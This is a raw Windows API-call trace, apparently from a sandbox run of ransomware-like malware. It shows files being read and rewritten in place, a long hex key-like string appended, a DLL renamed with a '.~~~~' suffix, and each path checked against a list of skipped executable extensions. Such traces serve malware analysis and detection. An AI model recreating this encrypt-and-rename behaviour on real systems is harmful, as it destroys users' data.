	[0082.680] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0082.680] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0082.680] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0082.680] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b2978
	[0082.680] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0082.680] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2978 | out: hHeap=0x300000) returned 1
	[0082.680] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0082.680] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0082.680] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e6e68
	[0082.680] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0082.680] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbeb8
	[0082.680] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6e68 | out: hHeap=0x300000) returned 1
	[0082.680] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0082.680] GetLastError () returned 0x0
	[0082.680] GetLastError () returned 0x0
	[0082.680] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0082.681] GetLastError () returned 0x0
	[0082.681] GetLastError () returned 0x0
	[0082.681] ReadFile (in: hFile=0x130, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0082.684] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0082.685] WriteFile (in: hFile=0x130, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0082.685] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0082.685] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.685] WriteFile (in: hFile=0x130, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0082.688] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0082.688] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0082.688] CloseHandle (hObject=0x130) returned 1
	[0082.688] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0082.688] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mofl.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mofl.dll.~~~~")) returned 1
	[0082.689] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6e68 | out: hHeap=0x300000) returned 1
	[0082.689] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0082.689] GetLastError () returned 0x0
	[0082.689] RtlWakeConditionVariable () returned 0x365f70
	[0082.689] GetCurrentThreadId () returned 0x3a4
	[0082.689] GetCurrentThreadId () returned 0x3a4
	[0082.689] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0082.689] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e74f8 | out: hHeap=0x300000) returned 1
	[0082.689] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b29b0 | out: hHeap=0x300000) returned 1
	[0082.689] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e74f8
	[0082.689] lstrlenW (lpString=".scr") returned 4
	[0082.689] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg", lpSrch=".scr") returned 0x0
	[0082.689] lstrlenW (lpString=".cmd") returned 4
	[0082.689] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg", lpSrch=".cmd") returned 0x0
	[0082.689] lstrlenW (lpString=".dll") returned 4
	[0082.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg", lpSrch=".dll") returned 0x0
	[0082.690] lstrlenW (lpString=".bat") returned 4
	[0082.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg", lpSrch=".bat") returned 0x0
	[0082.690] lstrlenW (lpString=".cpl") returned 4
	[0082.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg", lpSrch=".cpl") returned 0x0
	[0082.690] lstrlenW (lpString=".sys") returned 4
	[0082.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg", lpSrch=".sys") returned 0x0
	[0082.690] lstrlenW (lpString=".msc") returned 4
	[0082.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg", lpSrch=".msc") returned 0x0
	[0082.690] lstrlenW (lpString=".com") returned 4
	[0082.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg", lpSrch=".com") returned 0x0
	[0082.690] lstrlenW (lpString=".lnk") returned 4
	[0082.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg", lpSrch=".lnk") returned 0x0
	[0082.690] lstrlenW (lpString=".msp") returned 4
	[0082.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg", lpSrch=".msp") returned 0x0
	[0082.690] lstrlenW (lpString=".pif") returned 4
	[0082.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg", lpSrch=".pif") returned 0x0
	[0082.690] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg", lpSrch="msp\r\n.pif") returned 0x0
	[0082.690] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.692] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e74f8 | out: hHeap=0x300000) returned 1
	[0082.692] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6e68 | out: hHeap=0x300000) returned 1
	[0082.692] RtlWakeConditionVariable () returned 0x365f70
	[0082.692] GetCurrentThreadId () returned 0x3a4
	[0082.692] GetCurrentThreadId () returned 0x3a4
	[0082.692] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0082.692] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6880 | out: hHeap=0x300000) returned 1
	[0082.692] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b29e8 | out: hHeap=0x300000) returned 1
	[0082.692] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6880
	[0082.692] lstrlenW (lpString=".scr") returned 4
	[0082.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg", lpSrch=".scr") returned 0x0
	[0082.692] lstrlenW (lpString=".cmd") returned 4
	[0082.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg", lpSrch=".cmd") returned 0x0
	[0082.692] lstrlenW (lpString=".dll") returned 4
	[0082.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg", lpSrch=".dll") returned 0x0
	[0082.692] lstrlenW (lpString=".bat") returned 4
	[0082.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg", lpSrch=".bat") returned 0x0
	[0082.692] lstrlenW (lpString=".cpl") returned 4
	[0082.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg", lpSrch=".cpl") returned 0x0
	[0082.693] lstrlenW (lpString=".sys") returned 4
	[0082.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg", lpSrch=".sys") returned 0x0
	[0082.693] lstrlenW (lpString=".msc") returned 4
	[0082.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg", lpSrch=".msc") returned 0x0
	[0082.693] lstrlenW (lpString=".com") returned 4
	[0082.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg", lpSrch=".com") returned 0x0
	[0082.693] lstrlenW (lpString=".lnk") returned 4
	[0082.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg", lpSrch=".lnk") returned 0x0
	[0082.693] lstrlenW (lpString=".msp") returned 4
	[0082.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg", lpSrch=".msp") returned 0x0
	[0082.693] lstrlenW (lpString=".pif") returned 4
	[0082.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg", lpSrch=".pif") returned 0x0
	[0082.693] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg", lpSrch="msp\r\n.pif") returned 0x0
	[0082.693] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pine_lumber.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.693] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6880 | out: hHeap=0x300000) returned 1
	[0082.693] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6e68 | out: hHeap=0x300000) returned 1
	[0082.693] RtlWakeConditionVariable () returned 0x365f70
	[0082.693] GetCurrentThreadId () returned 0x3a4
	[0082.693] GetCurrentThreadId () returned 0x3a4
	[0082.693] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0082.694] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4c80 | out: hHeap=0x300000) returned 1
	[0082.694] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2a20 | out: hHeap=0x300000) returned 1
	[0082.694] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4c80
	[0082.694] lstrlenW (lpString=".scr") returned 4
	[0082.694] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg", lpSrch=".scr") returned 0x0
	[0082.694] lstrlenW (lpString=".cmd") returned 4
	[0082.694] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg", lpSrch=".cmd") returned 0x0
	[0082.694] lstrlenW (lpString=".dll") returned 4
	[0082.694] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg", lpSrch=".dll") returned 0x0
	[0082.694] lstrlenW (lpString=".bat") returned 4
	[0082.694] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg", lpSrch=".bat") returned 0x0
	[0082.694] lstrlenW (lpString=".cpl") returned 4
	[0082.694] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg", lpSrch=".cpl") returned 0x0
	[0082.694] lstrlenW (lpString=".sys") returned 4
	[0082.694] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg", lpSrch=".sys") returned 0x0
	[0082.694] lstrlenW (lpString=".msc") returned 4
	[0082.694] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg", lpSrch=".msc") returned 0x0
	[0082.694] lstrlenW (lpString=".com") returned 4
	[0082.694] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg", lpSrch=".com") returned 0x0
	[0082.694] lstrlenW (lpString=".lnk") returned 4
	[0082.694] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg", lpSrch=".lnk") returned 0x0
	[0082.694] lstrlenW (lpString=".msp") returned 4
	[0082.694] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg", lpSrch=".msp") returned 0x0
	[0082.694] lstrlenW (lpString=".pif") returned 4
	[0082.694] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg", lpSrch=".pif") returned 0x0
	[0082.694] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.694] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg", lpSrch="msp\r\n.pif") returned 0x0
	[0082.695] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pretty_peacock.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.695] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4c80 | out: hHeap=0x300000) returned 1
	[0082.695] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6470 | out: hHeap=0x300000) returned 1
	[0082.695] RtlWakeConditionVariable () returned 0x365f70
	[0082.695] GetCurrentThreadId () returned 0x3a4
	[0082.695] GetCurrentThreadId () returned 0x3a4
	[0082.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0082.695] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7840 | out: hHeap=0x300000) returned 1
	[0082.695] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2a58 | out: hHeap=0x300000) returned 1
	[0082.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7840
	[0082.695] lstrlenW (lpString=".scr") returned 4
	[0082.695] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg", lpSrch=".scr") returned 0x0
	[0082.695] lstrlenW (lpString=".cmd") returned 4
	[0082.695] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg", lpSrch=".cmd") returned 0x0
	[0082.695] lstrlenW (lpString=".dll") returned 4
	[0082.695] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg", lpSrch=".dll") returned 0x0
	[0082.695] lstrlenW (lpString=".bat") returned 4
	[0082.695] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg", lpSrch=".bat") returned 0x0
	[0082.695] lstrlenW (lpString=".cpl") returned 4
	[0082.695] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg", lpSrch=".cpl") returned 0x0
	[0082.695] lstrlenW (lpString=".sys") returned 4
	[0082.695] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg", lpSrch=".sys") returned 0x0
	[0082.696] lstrlenW (lpString=".msc") returned 4
	[0082.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg", lpSrch=".msc") returned 0x0
	[0082.696] lstrlenW (lpString=".com") returned 4
	[0082.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg", lpSrch=".com") returned 0x0
	[0082.696] lstrlenW (lpString=".lnk") returned 4
	[0082.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg", lpSrch=".lnk") returned 0x0
	[0082.696] lstrlenW (lpString=".msp") returned 4
	[0082.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg", lpSrch=".msp") returned 0x0
	[0082.696] lstrlenW (lpString=".pif") returned 4
	[0082.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg", lpSrch=".pif") returned 0x0
	[0082.696] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg", lpSrch="msp\r\n.pif") returned 0x0
	[0082.696] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\psychedelic.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.697] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7840 | out: hHeap=0x300000) returned 1
	[0082.697] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6e68 | out: hHeap=0x300000) returned 1
	[0082.697] RtlWakeConditionVariable () returned 0x365f70
	[0082.697] GetCurrentThreadId () returned 0x3a4
	[0082.697] GetCurrentThreadId () returned 0x3a4
	[0082.697] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc118
	[0082.697] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fc968 | out: hHeap=0x300000) returned 1
	[0082.697] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2a90 | out: hHeap=0x300000) returned 1
	[0082.697] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.697] lstrlenW (lpString=".scr") returned 4
	[0082.697] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm", lpSrch=".scr") returned 0x0
	[0082.697] lstrlenW (lpString=".cmd") returned 4
	[0082.697] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm", lpSrch=".cmd") returned 0x0
	[0082.697] lstrlenW (lpString=".dll") returned 4
	[0082.697] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm", lpSrch=".dll") returned 0x0
	[0082.697] lstrlenW (lpString=".bat") returned 4
	[0082.697] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm", lpSrch=".bat") returned 0x0
	[0082.697] lstrlenW (lpString=".cpl") returned 4
	[0082.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm", lpSrch=".cpl") returned 0x0
	[0082.698] lstrlenW (lpString=".sys") returned 4
	[0082.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm", lpSrch=".sys") returned 0x0
	[0082.698] lstrlenW (lpString=".msc") returned 4
	[0082.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm", lpSrch=".msc") returned 0x0
	[0082.698] lstrlenW (lpString=".com") returned 4
	[0082.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm", lpSrch=".com") returned 0x0
	[0082.698] lstrlenW (lpString=".lnk") returned 4
	[0082.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm", lpSrch=".lnk") returned 0x0
	[0082.698] lstrlenW (lpString=".msp") returned 4
	[0082.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm", lpSrch=".msp") returned 0x0
	[0082.698] lstrlenW (lpString=".pif") returned 4
	[0082.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm", lpSrch=".pif") returned 0x0
	[0082.698] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm", lpSrch="msp\r\n.pif") returned 0x0
	[0082.698] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.699] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fc968 | out: hHeap=0x300000) returned 1
	[0082.699] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fc118 | out: hHeap=0x300000) returned 1
	[0082.699] RtlWakeConditionVariable () returned 0x365f70
	[0082.699] GetCurrentThreadId () returned 0x3a4
	[0082.699] GetCurrentThreadId () returned 0x3a4
	[0082.699] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc118
	[0082.699] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fca00 | out: hHeap=0x300000) returned 1
	[0082.699] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2ac8 | out: hHeap=0x300000) returned 1
	[0082.699] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fca00
	[0082.699] lstrlenW (lpString=".scr") returned 4
	[0082.699] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg", lpSrch=".scr") returned 0x0
	[0082.699] lstrlenW (lpString=".cmd") returned 4
	[0082.699] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg", lpSrch=".cmd") returned 0x0
	[0082.699] lstrlenW (lpString=".dll") returned 4
	[0082.699] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg", lpSrch=".dll") returned 0x0
	[0082.699] lstrlenW (lpString=".bat") returned 4
	[0082.699] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg", lpSrch=".bat") returned 0x0
	[0082.700] lstrlenW (lpString=".cpl") returned 4
	[0082.700] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg", lpSrch=".cpl") returned 0x0
	[0082.700] lstrlenW (lpString=".sys") returned 4
	[0082.700] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg", lpSrch=".sys") returned 0x0
	[0082.700] lstrlenW (lpString=".msc") returned 4
	[0082.700] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg", lpSrch=".msc") returned 0x0
	[0082.700] lstrlenW (lpString=".com") returned 4
	[0082.700] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg", lpSrch=".com") returned 0x0
	[0082.700] lstrlenW (lpString=".lnk") returned 4
	[0082.700] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg", lpSrch=".lnk") returned 0x0
	[0082.700] lstrlenW (lpString=".msp") returned 4
	[0082.700] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg", lpSrch=".msp") returned 0x0
	[0082.700] lstrlenW (lpString=".pif") returned 4
	[0082.700] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg", lpSrch=".pif") returned 0x0
	[0082.700] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.700] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg", lpSrch="msp\r\n.pif") returned 0x0
	[0082.700] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.701] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fca00 | out: hHeap=0x300000) returned 1
	[0082.701] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fc118 | out: hHeap=0x300000) returned 1
	[0082.701] RtlWakeConditionVariable () returned 0x365f70
	[0082.701] GetCurrentThreadId () returned 0x3a4
	[0082.701] GetCurrentThreadId () returned 0x3a4
	[0082.701] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0082.701] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e75a0 | out: hHeap=0x300000) returned 1
